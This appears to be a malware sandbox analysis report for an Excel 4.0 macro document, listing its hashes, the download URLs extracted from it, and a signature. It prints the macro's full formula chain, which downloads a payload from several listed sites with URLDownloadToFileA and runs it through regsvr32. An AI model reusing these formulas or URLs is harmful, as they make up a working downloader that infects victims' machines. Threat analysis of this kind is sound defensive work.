General
-
Target
f9790c9151deb69c4936c7798e925fc91f5cb689d8385c86327cd0052992cff6
-
Size
50KB
-
MD5
6e496339047173b963306043f0ddbfd2
-
SHA1
dad3926704ec038c55d86c98c4ee3c3fb1aa6d2f
-
SHA256
f9790c9151deb69c4936c7798e925fc91f5cb689d8385c86327cd0052992cff6
-
SHA512
f3c8448063aad7ec026240d2c90f3ec502cca00cba02b346c1010c809d6c3b566664fc19c09948d0fc95e2c11cb3be04735d408bfac19eec70c5152fb80a50ac
-
SSDEEP
768:nx9D9onsXslSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0P4F:nXD9okncDSmSIBlGeuSEcm2h0BPu
Malware Config
Extracted
http://centrobilinguelospinos.com/wp-admin/VrgzWT/
http://boardingschoolsoftware.com/backup/CtMR5Yi/
http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/
http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/
https://descontador.com.br/css/q5nrG6ua/
http://letea.eu/wp-content/3GgF4miFZTq9/
http://quoctoan.c1.biz/wp-admin/j8Zu/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/VrgzWT/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://boardingschoolsoftware.com/backup/CtMR5Yi/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://descontador.com.br/css/q5nrG6ua/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://letea.eu/wp-content/3GgF4miFZTq9/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://quoctoan.c1.biz/wp-admin/j8Zu/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
f9790c9151deb69c4936c7798e925fc91f5cb689d8385c86327cd0052992cff6